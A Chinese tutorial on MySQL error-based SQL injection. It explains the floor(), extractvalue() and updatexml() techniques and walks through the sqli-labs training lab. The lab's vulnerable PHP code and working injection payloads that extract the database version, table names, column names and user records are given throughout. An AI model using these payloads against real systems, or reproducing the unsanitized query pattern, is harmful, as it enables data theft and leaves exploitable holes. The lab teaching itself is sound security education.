ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Mysql报错注入

2021-10-29 15:31:13  阅读:211  来源: 互联网

标签:extractvalue 0x7e 报错 select Mysql where concat 注入


报错注入原理

floor()

Rand() //随机函数

Floor() //取整函数

Count() //聚合函数

Group by key //分组语句

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x

floor(rand(0)*2))x  利用随机数取整次数报错

 

extractvalue()

函数解释: extractvalue():从⽬标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);

第⼀个参数:XML_document是String格式,为XML⽂档对象的名称,⽂中为Doc

第⼆个参数:XPath_string (Xpath格式的字符串)

concat:返回结果为连接参数产⽣的字符串。

利用第二个参数返回的值不是Xapth格式报错

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

 

报错注入常用的函数

1.floor()

  select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

  select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

  select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

报错练习

使用sqli-labs靶场

 

 

查看源码:

$uname = check_input($_POST['uname']);

$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql); $

row = mysql_fetch_array($result);

if($row) { $row1 = $row['username'];

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

mysql_query($update);

 

源代码关键语句:

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

利用passwd制造显位,所以要加‘号来抵消单引号才能使语句有用

获取数据库版本信息

and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

获取数据库名

and extractvalue(1,concat(0x7e,(select database()),0x7e))#

获取表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

获取列名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

获取数据

and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

标签:extractvalue,0x7e,报错,select,Mysql,where,concat,注入
来源: https://www.cnblogs.com/lzc520zld/p/15480723.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有